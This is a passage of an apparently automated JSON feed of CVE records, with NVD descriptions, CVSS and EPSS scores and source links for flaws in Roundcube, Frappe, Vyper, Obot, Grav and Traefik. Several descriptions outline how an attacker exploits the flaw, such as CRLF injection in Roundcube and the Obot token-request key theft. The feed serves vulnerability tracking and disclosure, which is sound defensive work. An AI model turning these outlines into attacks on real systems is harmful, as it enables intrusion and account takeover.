2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114724","cveId":"CVE-2026-114724","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize().","summary":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize(). A session key prefixed with “!” was treated as having no value, and the reconstructed serialized string was emitted with a key but no corresponding value, desynchronizing the remainder of the input so that following session data was interpreted as a serialized value. This yields a PHP object injection primitive for an attacker able to influence stored session data. Upstream fixed this in the commit “Fix object injection primitive in rcube_session::unserialize() via “!”-prefixed session keys”, which rejects such keys.","detail":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize(). A session key prefixed with “!” was treated as having no value, and the reconstructed serialized string was emitted with a key but no corresponding value, desynchronizing the remainder of the input so that following session data was interpreted as a serialized value. This yields a PHP object injection primitive for an attacker able to influence stored session data. Upstream fixed this in the commit “Fix object injection primitive in rcube_session::unserialize() via “!”-prefixed session keys”, which rejects such keys.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:17:00.343Z","updatedAt":"2026-10-22T16:45:49.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114724","asOf":"2026-10-22T16:45:49.550Z"},"epss":{"probability":0.00258,"percentile":0.17334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114724&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114724","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114724","type":"primary","publishedAt":"2026-10-22T02:17:00.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114724&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114724, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114720","cveId":"CVE-2026-114720","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability.","summary":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability. A remote authenticated attacker can exploit this via CRLF sequences injected into the _flag parameter of the mail/mark action to execute arbitrary IMAP commands. Upstream fixed this in the commit “Fix IMAP command injection via CRLF in `_flag` parameter of mail/mark action”, which rejects flags containing control, whitespace and IMAP-special characters.","detail":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability. A remote authenticated attacker can exploit this via CRLF sequences injected into the _flag parameter of the mail/mark action to execute arbitrary IMAP commands. Upstream fixed this in the commit “Fix IMAP command injection via CRLF in `_flag` parameter of mail/mark action”, which rejects flags containing control, whitespace and IMAP-special characters.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:59.717Z","updatedAt":"2026-10-26T17:17:16.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114720","asOf":"2026-10-26T17:17:16.077Z"},"epss":{"probability":0.00806,"percentile":0.56531,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114720","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114720","type":"primary","publishedAt":"2026-10-22T02:16:59.717Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114720, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114716","cveId":"CVE-2026-114716","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability.","summary":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability. rcmail_sendmail::extract_inline_images() used the media type taken from an inline image data URI without validating it, so a remote authenticated attacker could inject arbitrary MIME part headers into the outgoing message by placing CRLF sequences in that media type. Upstream fixed this in the commit “Fix mail header injection via media type in an inline image data URI”, which validates the media type with rcube_mime::is_mimetype_valid().","detail":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability. rcmail_sendmail::extract_inline_images() used the media type taken from an inline image data URI without validating it, so a remote authenticated attacker could inject arbitrary MIME part headers into the outgoing message by placing CRLF sequences in that media type. Upstream fixed this in the commit “Fix mail header injection via media type in an inline image data URI”, which validates the media type with rcube_mime::is_mimetype_valid().\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:59.077Z","updatedAt":"2026-10-26T17:17:15.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114716","asOf":"2026-10-26T17:17:15.907Z"},"epss":{"probability":0.00391,"percentile":0.32919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114716","type":"primary","publishedAt":"2026-10-22T02:16:59.077Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114664","cveId":"CVE-2026-114664","aliases":[],"kind":"vulnerability","title":"Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize...","summary":"Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize user-supplied input before including it in SQL queries. Authenticated attackers can send crafted input to get_events and infer query results from application behavior to extract sensitive database information.","detail":"Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize user-supplied input before including it in SQL queries. Authenticated attackers can send crafted input to get_events and infer query results from application behavior to extract sensitive database information.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:58.757Z","updatedAt":"2026-10-22T02:16:58.887Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114664","asOf":"2026-10-22T02:16:58.887Z"},"epss":{"probability":0.00199,"percentile":0.09597,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114664&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114664","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114664","type":"primary","publishedAt":"2026-10-22T02:16:58.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114664&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114664, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114663","cveId":"CVE-2026-114663","aliases":[],"kind":"vulnerability","title":"Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's...","summary":"Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's scope rather than at declaration. When a contract's parameter, local, or loop variable shares such a name, attacker-influenced input can replace the intended value, including out-of-range values for narrow types such as uint8, corrupting validation or accounting logic.","detail":"Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's scope rather than at declaration. When a contract's parameter, local, or loop variable shares such a name, attacker-influenced input can replace the intended value, including out-of-range values for narrow types such as uint8, corrupting validation or accounting logic.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:58.603Z","updatedAt":"2026-10-23T15:17:27.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114663","asOf":"2026-10-23T15:17:27.677Z"},"epss":{"probability":0.00176,"percentile":0.07108,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114663","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114663","type":"primary","publishedAt":"2026-10-22T02:16:58.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114662","cveId":"CVE-2026-114662","aliases":[],"kind":"vulnerability","title":"Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs.","summary":"Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs. Attackers can create a token request via POST /api/token-request, send the login link to a signed-in user, and fetch the resulting non-expiring API key to take over the victim's account.","detail":"Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs. Attackers can create a token request via POST /api/token-request, send the login link to a signed-in user, and fetch the resulting non-expiring API key to take over the victim's account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:58.433Z","updatedAt":"2026-10-22T02:16:58.560Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114662","asOf":"2026-10-22T02:16:58.560Z"},"epss":{"probability":0.00172,"percentile":0.06532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114662&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114662","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114662","type":"primary","publishedAt":"2026-10-22T02:16:58.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114662&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114662, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114660","cveId":"CVE-2026-114660","aliases":[],"kind":"vulnerability","title":"Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods...","summary":"Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-*@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.","detail":"Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-*@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:58.077Z","updatedAt":"2026-10-22T02:16:58.207Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114660","asOf":"2026-10-22T02:16:58.207Z"},"epss":{"probability":0.00211,"percentile":0.11328,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114660","type":"primary","publishedAt":"2026-10-22T02:16:58.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114659","cveId":"CVE-2026-114659","aliases":[],"kind":"vulnerability","title":"Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages...","summary":"Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules. Authenticated non-super users with api.access and admin.pages or admin.configuration.pages permissions can read page source and frontmatter, modify content, or delete pages they are denied.","detail":"Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules. Authenticated non-super users with api.access and admin.pages or admin.configuration.pages permissions can read page source and frontmatter, modify content, or delete pages they are denied.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:57.923Z","updatedAt":"2026-10-23T15:17:27.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114659","asOf":"2026-10-23T15:17:27.557Z"},"epss":{"probability":0.00628,"percentile":0.49784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114659","type":"primary","publishedAt":"2026-10-22T02:16:57.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114658","cveId":"CVE-2026-114658","aliases":[],"kind":"vulnerability","title":"Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts.","summary":"Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the invited address for full site control.","detail":"Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the invited address for full site control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:57.770Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114658","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00264,"percentile":0.18111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114658&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114658","type":"primary","publishedAt":"2026-10-22T02:16:57.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114658&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114658, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114656","cveId":"CVE-2026-114656","aliases":[],"kind":"vulnerability","title":"Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host...","summary":"Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.","detail":"Traefik before 